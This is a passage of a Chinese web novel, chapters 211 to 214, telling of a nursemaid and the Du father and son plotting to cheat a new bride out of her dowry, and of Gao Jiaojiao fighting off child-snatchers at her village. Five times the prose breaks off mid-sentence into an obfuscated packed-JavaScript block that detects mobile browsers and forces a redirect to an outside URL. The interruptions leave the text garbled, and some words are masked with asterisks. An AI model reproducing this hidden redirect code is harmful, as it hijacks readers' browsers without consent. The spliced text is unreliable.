并州府杏花巷,本该是喜气洋洋的小院里,一片愁云惨淡。 马氏推门进去,见乔香柳还靠坐在软榻上垂泪,眼中闪过一丝不耐烦,但还是挤出笑脸走上前,耐着性子劝道, “姑娘快别哭了,当心哭坏了眼睛。 这是刚做好的八宝擂茶,你从昨儿个到现在都没怎么吃东西,这是嬷嬷我亲手做的,你好歹吃两口好不好?” 乔香柳推开递到跟前的茶碗,哀哀哭着道, “嬷嬷,我心里实在堵的慌,一口也吃不下。 表姐那么对我也就罢了,杜郎他怎么还能冲我发火呢? 昨晚可是我们的新婚之夜啊,他竟然睡到了书房,这让别人可怎么看我啊? 呜呜呜呜,呜呜呜,若不是为了他,表姐怎会恼了我? 为了他我里子面子都没了,他却还,呜呜呜,呜呜呜.......” 马氏皱眉撇嘴,恨不得把手里的茶碗砸了,狠狠骂这个没用的娇小姐一顿。 连自己的亲表姐都哄不好,除了哭就是哭,你真想哭倒是去知府后院,跪在夫人面前哭啊。 光知道躲在屋里哭有什么用,还不是指着男人来哄? 可想到杜家福的吩咐,想到以后还得靠乔香柳的嫁妆过日子,马氏还是强忍着不满继续哄道, “姑娘,不是姑爷不体谅你,是这件事表小姐办的实在太难看。 你说她要是真恼了你,订亲的时候怎么不发作?成亲前怎么不说一声不出席? 非要等着宾客们都到齐了,都等着他们了,才派个小厮过来,还送了二两银子的贺礼。 这是寒碜谁呢? 姑娘,你当时坐在洞房里都觉得脸上臊得慌,都难过的只想哭。 可想过姑爷站在厅堂上,面对满堂宾客时有多丢脸? 姑爷那哪儿是冲你发火,是自己也委屈的很啊,他一个七尺男儿,为了娶你都跪在表小姐跟前赌天发誓了。 结果,表小姐非要当着所有人的面打他的脸,你让他情何以堪,以后还怎么见人啊?” 乔香柳被马氏说的心里更加难受,闹成这样她也不想的啊,要是早知道表姐宁肯断亲也不想让她嫁,她也不会非要嫁。 她在并州府最大的指望就是表姐,表姐要是不管她了,她以后该怎么办啊? 马氏见乔香柳又要哭,忙加重语气道, “姑娘,你一夜未睡,粒米未进,姑爷也是一样啊。 你是女人,以后大不了躲在后院不出门便是了。 他可是男人,一家之主,肯定要出去谋生赚钱养家的啊。 只要一出去就会被人指指点点,被人嘲讽讥笑,你想想,他这日子有多难。 即便这样,姑爷也没想过跟你分开,还是一心想要跟你过日子,他对你的这份心,可是比真金还要真。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342603|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 姑娘,你也心疼心疼姑爷吧,你可是嫁过人的,他可从没娶过亲,若不是为了娶你,何至于落到这般田地啊?” 乔香柳被马氏说的有些羞愧,想到杜有才是头婚,而自己不仅嫁过人,还**丈夫,本来憋着那股子非要杜有才给她赔礼道歉才肯低头的心,便软了几分。 马氏见状,心中不由得意洋洋。 她一手带大的姑娘,自然最清楚她的脾气秉性,现在又有杜家父子帮忙,拿捏住她还不是轻而易举。 老杜说了敲鼓得用重锤,既然知府那头眼下攀不上了,就得把嫁妆捏在他们手上。 得借着这件事让乔香柳彻底服了软,以后才能任凭他们使唤,让她拿钱就拿钱,不敢有半点怨言。 想到只要把嫁妆从乔香柳手里骗出来,老杜就会信守承诺娶她为妻,让她当这个家的女主人,让杜有才和乔香柳都把她当母亲一样孝顺,马氏就忍不住心花怒放。 当奶嬷嬷再得主子信任,那也是个下人,哪有当女主子威风舒坦? 马氏俯下身,仿若掏心窝子般压低声音对乔香柳道, “姑娘,有句话我不得不提醒你了。 你和姑爷已经成了婚,姑爷若是反悔,你可怎么办?” 乔香柳愣了一瞬,本能反驳道, “他怎敢如此对我?” 马氏垂下眼,掩去眼中的嘲讽,叹了口气,好似万般无奈道, “姑娘,这女人出嫁随夫,你嫁了人,就身不由己了。 姑爷本来就不是并州府的人,在这儿实在待不下去了,大不了卷铺盖回原籍。 他老家有房有地还有医馆,何愁不能再娶? 可你就不同了,连着嫁了两次,一次丧夫,一次被休,以后谁还敢娶你啊?” 乔香柳心头巨震,仿佛被一记重锤狠敲下去,顿时面如死灰,泪如雨下。 马氏见状,赶忙将乔香柳搂入怀中。 乔香柳死死抱着自己视若亲娘的马氏,放声大哭起来。 她后悔了,她悔的肠子都青了,可她能怎么办? 难道还能坐等着被休弃,被人继续看笑话吗? 一通大哭过后,乔香柳在马氏的服侍下换了衣裙,洗了面上了妆,亲自带着点心茶水去书房寻杜有才。 第二百一十一章 名分已定死 杜有才经过杜家福一晚上的劝解,已经没那么生气了。 事已至此,他们也只有先放弃走仕途,改走做生意这条路了。 父亲说眼下药材不断涨价,他有门路能弄到药材,只要能从乔香柳手里弄到一笔钱,囤积上一批药材,他们就能坐等发财了。 只要有了钱,再想办法给知府夫人送礼疏通,总能缓和关系,没人会跟银子过不去。 父亲还说,世上的路千万条,此路不通那就绕路,只要最终能达成目的,没人在乎你是怎么爬上去的。 杜有才对父亲的敬佩又加深了几分,以父亲的才能,这么多年都窝在荣阳县那个小医馆里,真是太委屈了。 有父亲帮忙,杜有才相信总有一天,他能得偿所愿,把杜衡那个臭小子踩到脚下,压的他永世不能翻身。 听到门外小厮禀报,杜有才赶忙拿出早就准备好的药包,往脸上使劲拍了一通。 药包里是父亲提前配好的药粉,敷在脸上会让人显得面黄没精神,看着比较憔悴。 女人最是心软,看到他这样,乔香柳一定会心疼。 只要她心疼,他就能哄的她掏钱。 果然,乔香柳进来看到杜有才眼窝凹陷一脸憔悴,一看就是一夜未睡的样子,不由有些心疼。 见杜有才不再像昨晚那样气冲冲,恢复了往日的温柔体贴。 不仅主动给她作揖道歉,还劝她不要生表姐的气,将所有错处都揽到自己身上。 说都怨他没本事,才连累的她也被人看不起,跟她赌咒发誓一定会出人头地,让她过上好日子,让她不用再受任何人的气。 乔香柳不由感动万分,说实话要不是落到这般田地,她才不想看别人的脸色过日子。 前夫家虽是富户,没有一官半职,但待她极好,她半点委屈也没受过。 哪儿像现在,动辄就要被表姐教训,还要在成亲当天颜面尽失。 说到底,还不是看她柔弱可欺,才这般不把她放在眼里。 乔香柳自艾自怜,忍不住扑到杜有才怀里又哭了起来。 杜有才抱着哄了又哄,两人你喂我我喂你分食了点心和茶水,又情不自禁在书房补了个洞房。 待到云雨初歇,杜有才抚着乔香柳的肩膀,缓缓说出自己的计划。 乔香柳不懂生意,加上身上疲累昏昏欲睡,也没太认真听,只听到杜有才发愁本钱,想也没想便道, “我手里还有些银钱,你若要用,我一会儿拿些给你。” 完全将婚事定下后,孙氏最后一次对她的叮嘱抛之脑后,将自己首饰匣子里有个夹层,夹层里有五百两银票的事,告诉了杜有才。 杜有才大喜过望,他本想着能从乔香柳手里哄来两件不起眼的首饰,去当个一二百两就不错了。 没想到乔香柳手里还有这么一大笔银票,银票可太好了,用起来方便,还不用担心会惊动知府夫人。 父亲说了,虽说夫人那边表现出来的样子是要断亲,但毕竟是亲表姐妹,他们要是做的太过分,乔香柳跑去哭闹哀求,夫人只怕不会袖手旁观。 所以能哄骗就哄骗,千万不要强迫,要让乔香柳心甘情愿主动给,当然最重要的还是让乔香柳尽快怀上孩子。 女人只要有了孩子,就老实了,哪怕你打她骂她百般羞辱她,她都不会跑。 杜有才觉得父亲说的字字真理,所以哪怕再嫌弃乔香柳是二婚,他也会努力耕耘,让她早日怀上孩子。 马氏可早就告诉父亲了,乔香柳手里那匣子珠宝可值钱的很,里面不光有她的陪嫁首饰,还有她那个短命前夫花了高价从江南给她买的头面。 加一块起码价值三千两银子,这可是他和父亲东山再起的本钱,他一定要让乔香柳拱手奉上。 远在岚县的高娇娇等人,不知道杜家父子的算计,只顾着忙眼前的事。 吃饱喝足,高娇娇让林老汉躺下歇歇,自己赶车送杜衡和凌十三回书院。 一说回书院,凌十三顿时没了精神,见杜衡好似有话要跟高娇娇说,干脆往车上一躺闭眼打个盹,给他俩腾地方。 杜衡该说的在小院已经说了,村里这些天发生的大事小事高娇娇也跟他说了,其实没什么可说的了。 可要分开了,杜衡心中难免不舍,尤其张狗子和高春花订婚的事,又让他莫名有些急迫,就想跟高娇娇多说几句。 “嫂嫂,那个,我们月中的休假可能会延后几天,等清明的时候再放假。” 杜衡想了又想,终于想到了一件还没说过的事。 高娇娇不在意点头, “那也挺好,正好回去一起祭拜。 我娘说咱们的祖坟都不在这边,只能在路口祭拜。 我回去的时候多买些纸钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342604|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,到时候你也给你家那边多烧点。” 杜衡乖乖点头,高娇娇又想起一件事,忙问杜衡, “你身边可有你大哥的衣物随身用品啥的?” 杜衡愣住,高娇娇以为他没有,便摆手道, “没有就算了,我娘说你哥走的突然,老家也没立个衣冠冢。 为了以后祭拜方便,不如在这边立个坟,既然你们没有他的东西了,那就算了。” 杜衡喉头艰涩,声音暗沉, “我有,我那件夹袄就是拿大哥的旧衣改的。” 高娇娇想了下,问杜衡, “是袖子短了一截,右肩膀上有个大补丁那件吗?” 杜衡点头,高娇娇便道, “那回去了,我把那件夹袄给我爹娘,让他们帮着给你哥立个坟,赶在清明之前弄好,你回来了正好祭拜。” 杜衡点头应下,没再多说什么。 心里像是被灌了一大碗黄连水,苦的很。 两人沉默着到了书院大门口,高娇娇坐在驴车上,看着杜衡和凌十三一前一后走了进去,这才掉头回小院。 却没看到她掉头后没多久,杜衡停下脚步,注视着她的背影,一直到她走远再也看不见,这才转过身。 越过不解望着他的凌十三,大步往里走去。 凌十三快跑几步追上杜衡,好奇询问, “你怎么了?脸色怎么这么难看? 不会是嫂嫂又骂你了吧? 她骂你也是为你好,你只管乖乖听着就行了。 我娘骂我可比你嫂嫂狠多了,还追着揍我呢,我还不是一样好好的.......” 杜衡一个字也没听进去,满脑子都是清明祭拜的事。 他从没像这一刻那么清晰的意识到,即便大哥**,嫂嫂也是大哥的**,他们的名分在成婚那天就定**。 哪怕婚礼没完成,哪怕没圆房,他们也是夫妻,嫂嫂在名义上就是他大哥的女人。 而嫂嫂之所以对他和小妹不离不弃,也全是因为大哥,她对大哥的情义,无人能比。 他在嫂嫂心里永远是小叔子,是弟弟,从来都不是一个男人。 这个发现让杜衡心如死灰,难受至极。 可他又不敢承认自己的难受,就好像连这难受都是错的,是可耻的,卑鄙的,不能被人知晓的荒唐。 第二百一十二章 当面抢孩子 凌十三说的嘴都干了,见杜衡依然一言不发,只顾闷头往前走,忙一把拉住他, “你去哪儿啊?要撞墙了!” 杜衡抬起头,看了眼近在咫尺的院墙,抿了下唇,转身往书馆走。 凌十三跟在后面追着问, “你不回号舍,又要去哪儿啊?” “去看书,夫子让读的那本书我还没背会。” 杜衡头也不回,脚步飞快。 此刻只有一头扎进书里才能让他心里舒服点,他要考上功名,要报答嫂嫂。 至于其他,不是他能想的,更不是他应该想的。 凌十三震惊又无语,才刚回来就要去读书,夫子是让你读不是让你背下来啊喂,你这个疯子是要卷死谁? 高娇娇回到小院,见林老汉睡的正香,看了看时辰还早,便又去了趟粮铺。 粮铺伙计还记得高娇娇,一看到她过来就忙上前招呼, “客官来的正好,今儿刚到的糯米,上等的好货,听说你们南边过来的人,清明都要弄那个米糕还是啥的,要不要来点?” 高娇娇哑然失笑,她一直觉得她老家在北边,怎么到了北边人家反倒觉得他们是南边了。 她还以为只有江南以南才叫南方呢,不过她老家确实清明会用糯米粉做清明稞,买点带回去让娘她们高兴高兴也成。 高娇娇进了粮铺,买了五斤糯米,十斤绿豆。 娘说家里的粉条没了,直接买粉条太贵不划算,还是买些绿豆回来自己做比较好。 高娇娇喜欢吃粉条,也喜欢吃粉皮吃凉粉,多买些绿豆回去让娘她们多做些来吃。 见高娇娇买了这么多,伙计更加热情,高娇娇问一句,他能答十句,连一些不会跟寻常客户说的秘密,也会跟高娇娇透露一点。 得知暴民在豫州府攻城略地,打的朝廷颜面全无,皇上大怒,要从西北调兵遣将过去剿灭,高娇娇不由心里一紧。 这可不是个好消息,一下子涌入这么多流民,西北这边还需要重兵压阵呢,别回头暴民没剿灭,并州府再乱起来。 不过伙计又告诉高娇娇一个好消息,他们掌柜有门路从南方弄来粮食了,据说是走河运,不受暴民**影响。 因为能弄到粮食,粮价不像之前那般疯涨了,但还是在涨,毕竟世道乱,加上倒春寒,大家对今年的粮食收成都不看好,大户人家都开始囤粮了。 单就伙计知道的,岚县好几个大户家的农田都受灾严重,麦子减产是肯定的,还能不能补种挽回损失谁也说不准。 伙计劝高娇娇也囤些粮,高娇娇没买,不是她不想,是她担心回去的路上只怕不安全。 衙门已经贴出了核查流民户籍的布告,城门处也开始驱赶流民,不许流民再入城了。 高娇娇不怕别的,就怕这些无法入城又无处可去的流民会暴起作恶,**行人,涌入村落,跟冲进柳树沟的流民一样烧杀抢掠。 她一个年轻女子,独自赶着驴车,车上只坐着一个一看就不能打的老爷子,很容易成为别人眼中的肥羊。 再拉上一车粮食,那就是肥羊中的肥羊,就差在脸上写着“你们快来抢”了。 最后跟伙计打听了一下擅长建房做暖墙的老师傅,把盖房子的事定下,高娇娇就带着林老汉赶紧回家。 出了城,回去路上,果然见到三五成群的流民沿着官道游走。 有的如幽魂一般茫然悲凉,有的却像被激怒的凶兽一般的暴躁愤慨,有的干脆坐在地上放声痛哭....... 但无一例外,当他们看到高娇娇独自一人赶车经过,都目不转睛盯着她上下打量。 让高娇娇有种在逃荒路上,被恶人盯上的紧张,她用力甩了一记空鞭,大黑像是也感受到了紧张的气氛,四蹄翻飞,跑的飞快。 驴车飞快穿过人群,跑向远处。 有一伙身强力壮的流民也不由自主加快了脚步,其中一个还悄悄摸出了藏在腰间的**,冲同伴使了个眼色。 同伴微微点头表示同意,既然进不了城当不了良民,他们就只有上山为匪这条路可走了。 抢一个是抢,一直抢也是抢,反正他们就是这么一路抢过来的,抢了这个女的,他们今晚起码能吃顿饱饭。 高娇娇察觉到身后的脚步声,不由抿紧了唇。 林老汉看到有人尾随,也是紧张万分,忍不住小声冲高娇娇道, “要不,要不,还是把我放下来吧,你一个人也能跑的快些。” “林叔,您胡说什么呢,放心,不过几个小**贼,我根本不看在眼里。 您忘了我爹是干啥的,我是他闺女,自然也打得了野兽,杀得了土匪。” 高娇娇故作轻松安抚住了林老汉,手却悄悄摸出了藏在车辕下方的短刀。 不到万不得已,她不想再**,但有人非要不长眼,那她自然不会手软。 一口气跑到拱桥,只剩一半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342605|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路程了,高娇娇看着大黑喘的厉害,打算找个地方歇一下,喂它喝点水让它吃点豆饼歇一下。 黑驴虽然耐力强,但是爆发力不如马,这样快速奔跑对它消耗极大,剩下那一半路程,他们得用放慢速度赶路了。 将驴车在桥下停好,让林老汉帮着喂大黑,高娇娇爬到桥上看了看。 后面空无一人,左右两侧也没有异常,前方看着也挺正常。 那些人应该是被甩掉了,高娇娇松了口气,回去车上拿出在城门口排队时买的烧饼,跟林老汉一人一个吃了,又喝了点水,见大黑缓过来了,便继续赶路。 终于在太阳落山前赶到了石楼村外,见那帮小家伙都站在官道口等着她,高娇娇不由指着他们,冲林老汉笑着抱怨道, “林叔,看那帮小兔崽子,都跑出来等着我给好吃的呢。 站在最前头,个头最高那小子就是二宝,后面一点白净点的是三宝。” 林老汉激动地坐直了身子,伸长脖子盯着那两个孩子瞧。 可泪水抢先一步模糊了眼眶,让他看不太清,只能隐约看到孩子们都长高了不少。 长高了好啊,吃得好睡得好才能长得高,长得快,要不了几年就能长大成人了。 高娇娇见林老汉未语泪先流,不免心酸,忙要劝,忽然听到高二宝惊叫起来, “小寒!小寒——” 高娇娇猛地扭头,只看到一道黑影抱着个孩子就往旁边地里跑。 这是? 拍花子的偷孩子偷到她眼皮子底下了?! 真是岂有此理! 高娇娇大怒,当即就要跳下车,追上去打死这个王八蛋。 可脚落到地上的瞬间,她后背莫名爬上了一股寒意,让她不由汗**倒立,心口紧绷。 这种感觉在逃荒路上出现过好几次,每次都预示着要面临大危机,让高娇娇不得不提起十二分的警惕,咬了下舌尖让自己冷静下来。 驴车这么大这么明显,拍花子的不可能看不见。 孩子们肯定早就在路口等着了,那拍花子的为什么一直不动手,非要等她过来了再动手? 这分明是,是—— 调虎离山! 高娇娇瞬间反应过来,立刻跳上驴车,冲高二宝喊, “二宝,别追了,把冬月抱起来,快过来,你们都过来,上车,快上车!” 说完,一鞭子甩下去,催促大黑赶紧跑过去。 第二百一十三章 现在必须是 高二宝不明白高娇娇要干嘛,为什么不去救小寒,还让他们往驴车跑。 但从小到大养成的习惯,还是让他本能就听从了高娇娇的安排,立刻抱起高冬月,带着几个孩子往驴车跟前跑。 就在高娇娇大喊出声,高二宝抱着高冬月就跑的瞬间,不远处路边的沟里突然蹿出来几个男人。 跟饿虎扑食一般朝孩子们扑了上去,高娇娇见状心急万分,顾不得其他,一把扯过林老汉让他赶车,握紧短刀就跳下了驴车。 “王八蛋,找死!” 高娇娇手握短刀,如被激怒的牛犊一般猛地朝那几人冲了过去。 根本不管那几个衣衫破烂浑身脏污的男人,朝她纷纷举起的刀枪棍棒,抬手就劈,就砍,抬脚就踹,实在躲不开就用肩膀后背硬抗。 总之一个也别想越过她冲到孩子们身旁! 男人们被高娇娇不要命的打法镇住了,更让他们惊恐的是被高娇娇一脚踹到膝盖的男人,咔嚓一声,骨头断了。 而她连眼皮都没眨一下,紧接着就补了一刀,砍飞了男人试图阻挡的右臂。 鲜红的血喷溅而出,溅到高娇娇蒙着脸的布巾上,顿时在她脸上留下了一道血痕,让她本就杀气腾腾的脸,更加狠厉吓人。 另一侧,高二宝几个连滚带爬上了驴车,林老汉两只手死死拽住缰绳,控制住大黑。 大黑艰难地拐了个将近直角的弯,甩开四蹄朝村里飞奔。 高二宝抱着高冬月,搂着高三宝,看了眼死死抓住驴车挡板,不会轻易滑落下去的郭家两个孩子,扯着嗓子冲村子那边大喊, “爷,奶,爹,我姑姑跟坏人在村口打起来了! 坏人抢走了小寒,坏人有好几个,你们快来啊,快帮姑姑打坏人!” 几个孩子听到他喊,也跟着喊了起来。 孩子尖利的童声传的很远,传到正在地里干活的高长天等人耳中。 众人脸色大变,立刻扛着锄头铁锹就往村口跑。 等众人跑到跟前,就见高娇娇浑身是血,单脚踩着一个男人后背上,用力朝前方投掷出一把滴着血的短刀。 “啊——” 一声短促的叫声过后,短刀深深刺入那个试图逃跑的男人后背。 男人踉跄着往前挪了两步,一头栽倒下去。 高长天看的眼皮直跳,高二壮等人被震的说不出话。 高娇娇抹了把脸上的血,指着西南方向的树林冲高长天他们道: “爹,二哥,还有一个抱着小寒往树林那边跑了!” “我去追,罗子,有根,吴亮,咱们走。” 高二壮喊了几个人,立刻就往树林那边追了过去。 高长天忙问高娇娇, “伤着了没?” 高娇娇摆手, “不要紧,后背被划了一刀,但没伤着骨头。 爹,衙门不接收流民了,流民顺着官道到处跑,还有土匪假装流民为非作歹,这伙人可能还有同伙。” 高长天立刻对李二道, “李二,快回村,把巡逻队集结起来,从现在开始日夜轮班巡逻村子四周。 对了,派人跟王里正说一声,让他们那边也加点小心。” 李二应下,点了几个人往村里跑去。 石小山看了眼地上还没咽气但是肯定活不成的几个人,压低声音问高长天, “里正,地上这几个人咋办?要不要报官?” 高长天看向高娇娇,高娇娇正在用头巾擦手上脸上的血,听到石小山这么说,头也不抬道: “爹,衙门贴出来的悬赏布告上,抓一个土匪扭送到衙门奖赏十两银子。” 石小山挠头不解,可这伙人也不是土匪啊,瘦成这样,身上那么脏,鞋底都磨破的样儿,肯定是流民啊。 可高娇娇却道, “衙门不是说了嘛,有土匪假扮流民混入城中,那自然也会有土匪假扮流民混入村中了,是不是?” 高长天明白了高娇娇的意思,不管这几个人是不是,现在他们就必须是。 因为只有抓到土匪才会有赏银,打死打伤的是土匪才不会惹上官司。 但是这话要怎么说,才比较合情合理合规,不会让人觉得他闺女心狠手辣呢? 朱钰急匆匆赶过来,听到高娇娇的话,看到地上的情形,便明白了她的打算,立刻高声道, “这群土匪真是无法无天,**居然敢假扮流民进村抢小孩,简直罪大恶极,罪无可赦! 幸亏娇娇及时赶到,才将这伙歹人拿下。” 说完,就冲石小山等人喝道, “你们还愣着干嘛?还不将人绑了,明日一早就送到衙门去! 这等恶人就要让衙门处置,咱们这些小老百姓哪儿有权处置。 得亏咱们也是逃难过来的,身经百战有经验,要不今儿可就惨了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342606|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 各家以后可得把孩子都看紧了,千万别被这帮歹人抓了去,卖了都算是好的,就怕煮了烤了吃了,连骨头渣子你都找不着。” 众人被朱钰说的鸡皮疙瘩都冒起来了,尤其家中有孩子的,恨不得冲上去再往这群恶人身上踹两脚。 可恶,太可恶了。 偷孩子的王八蛋**都得下油锅! 至于朱钰是什么时候把高娇娇带走的,高娇娇直接把人打死会不会惹上人命官司,没人在意了。 高长天见朱钰三言两语就把大家的注意力转移了,不由松了口气。 高娇娇跟着朱钰往家走,嫌弃地捏着沾满了血的包头巾,跟朱钰嘀咕, “叔,一个土匪十两银子,刚才那五个都是我打的,一共五十两,记得给我啊。 至于剩下那个,就给大家分了吧。” 朱钰嘴角抽了抽,这臭丫头,光知道银子,差点没把他们给吓死。 不过好在这丫头聪明,没中了对方的调虎离山之计,要不一下子丢好几个孩子,但凡有一个找不回来,都得哭死。 至于高小寒能不能找回来什么的,朱钰和高娇娇都不担心。 高二壮和吴亮他们都是经验丰富的老猎户,别说追一个刚逃走没多久的人,就连追几天前从某座山头路过的狼都是小菜一碟。 相信过不了多久,他们就能把孩子全须全尾带回来,同时带回那个被打的半死,或者被直接打死的土匪。 村口,姚春香和罗子娘等人正要赶过去救人,见高娇娇一身是血回来,姚春香不由眼前发黑。 罗子娘赶忙扶了她一把,她这才站稳了身子,忙扑上去问, “哪儿受伤了?骨头——” “没事儿,娘,就后背挨了一刀,衣服厚,没伤到骨头。” 高娇娇转过身想让姚春香看了好放心,可转的太快扯到了被棍子打伤的肩膀,不由吸了口气。 姚春香心疼不已,听到朱钰说坏人都被高娇娇拿下了,跑的那个高二壮也带人过去追了,忙扶着高娇娇去找刘一手。 高娇娇不想让姚春香担心,嬉皮笑脸比划着道, “娘,一个土匪十两赏银呢,今儿我一下子就赚了五十两,可算是有进账了。” 姚春香好气又好笑,忍不住想拍高娇娇一下,可看到她背上的伤,没忍心下手。 罗子娘几个听到赏银两眼放光,急忙追问了高娇娇一番。 第二百一十四章 亲人团聚 刘一手见她们都不担忧流民侵扰,反倒恨不得立马就去抓土匪换赏银,不由很是无语。 同样无语的还有王里正,他收到消息吓了一跳,急忙安排了几个青壮巡逻,还不放心,跑过来想再问问高长天。 结果刚到高家,就听到石小山等人抢着要去巡逻,还要扩大范围,多抓几个土匪好送去衙门换赏银。 争取在衙门悬赏结束前,多赚点钱。 吓的王里正老腿一哆嗦,差点退出去。 也不知道今儿的太阳是不是打西边出来的,要不这群人怎么这么荒唐? 居然还盼着土匪进村! 可进了屋,坐下拿起茶碗,刚抿了一口就得知高娇娇一个人就打**两个土匪,重伤三个。 王里正惊得直接一口茶喷了出去,紧接着又听到外面有人喊,说孩子找回来了。 没一会儿,高二壮几个抱着孩子,拖着一个被打折了两条腿,脸青紫红肿跟猪头一样的土匪走了进来。 王里正饱受惊吓的心,已经麻木了,他觉得自己以前跟高长天说话太大声了。 这群人凶悍如斯,难怪一点都不怕土匪,这群土匪也是瞎了眼,居然敢在太岁头上动土。 奄奄一息的土匪心里苦,他们哪儿知道这姑娘是母老虎,更何况他们真不是土匪啊。 等到众人散去,高家众人都围坐在屋里,看着林巧儿父女坐在炕上,泪眼汪汪。 林老汉一眨不眨地盯着女儿打量,不过才隔了半年多没见,就好像隔了一辈子似的,差点就再也见不到了。 高三壮在旁边看着也红了眼眶,他比媳妇先见到岳父,第一眼看到的时候简直不敢认,岳父好像一下子老了二十岁,整个人无比憔悴。 岳父说岳母他们都被土匪杀了,小舅子家才一岁多的虎子也在奔逃中掉到地上摔**。 岳父从**身下爬出来,在一堆残肢断臂中翻找了很久,才把他们的尸体拼凑完整,又费了很大劲儿挖了坑,把他们给埋了。 家人都**,岳父也不想活了,本想躺在坟旁边等死的。 却被一家子好心人给救了,那家的老爷子狠狠骂了他一通,让他起码也该弄清楚闺女一家是死是活,再自我了断。 岳父觉得老爷子说的在理,于是就一路打听一路找寻,七拐八绕到了岚县,不知道该去哪儿找时,无意中看到了寻人启事,这才找到了牙行。 说起这些的时候,岳父一滴泪都没有掉,高三壮却忍不住掉了眼泪。 太苦了,太难了,好在,总算是团圆了。 刘小翠在旁边看着看着,也忍不住抹起了眼泪。 老三媳妇不管怎样还能跟亲爹团聚,她爹娘兄弟还不知道在哪儿,更不知道是死是活,这辈子还能不能再见上一面。 想念亲人的心,这一刻到达了顶点。 高春花见刘小翠哭的停不下来,不知该怎么安慰,也不想安慰,便冲高雪花使了个眼色。 高雪花噘了噘嘴,她一点也不想姥爷他们,他们对她一点都不好,每次过去,都要骂她是赔钱货,还说都是她压着,娘才怀不上,才生不出儿子。 还想让娘把她送人,把她吓得都不敢去了。 可再怎么说也是自己的亲娘,哭成这样,高雪花心里也是难过的。 于是她便扑到了刘小翠的怀里,缠着她,把头往她身上蹭着撒娇。 刘小翠抱着闺女软乎乎的小身子,感受到她的依赖,心里的难受稍稍缓解了些,但又忍不住想叹气。 怀里这个要是个儿子就好了,即便没娘家依靠,她也不用再发愁了。 姚春香最受不了这种哭来哭去的场景,拉着高娇娇出了屋,让她回自己那边歇着,一会儿饭好了她送过去。 然后就喊来罗子娘和李二娘她们过来帮忙,去双水村买只鸡回来炖汤,再炒几个菜,包点饺子,给亲家接风洗尘,也给闺女补补身子。 高娇娇背上有伤不能洗澡,只能让高二宝帮着烧些水,让杜映梅帮她擦洗一番。 换上干净衣服,趴在炕上,看着高二宝几个拿点心果子哄受了惊吓的高小寒。 高小寒一手点心,一手果子,吃的满脸渣,没一会儿小肚子就鼓了起来。 高娇娇忙喊, “别喂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342607|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,别喂了,再喂他晚上该吃不下饭了。” 高二宝摸了摸高小寒的肚子,高小寒生怕不给自己吃了,不由忙吸气让肚子看着小一点。 高娇娇被逗笑了,这小子估计小时候被吓过头,不知道怕了。 被坏人掳走那么久,回来一点事也没有,该吃吃该喝喝,还会耍小聪明,看来是真没事了。 郭家两个小孩就没高小寒这么皮实了,被吓够呛,看到好吃的也提不起精神,还是蔫儿吧唧的。 七岁的郭含玉还好点,五岁的郭玉书还是小脸发白神色不安,高娇娇见状,便拿出从城里买的瓷娃娃给他们玩。 这个瓷娃娃还是她去卖鱼的时候,偶然看到掌柜家小姑娘抱着玩,觉得有意思,就打听了下。 原来这个不是个小孩玩具,是成衣铺子里用来展示新品的,大概一尺来高,能立在桌面上。 方便一些大户人家的夫人小姐看清楚样式,掌柜带闺女买衣服的时候,见闺女喜欢,就从成衣铺子里买了一个回来专门给她玩。 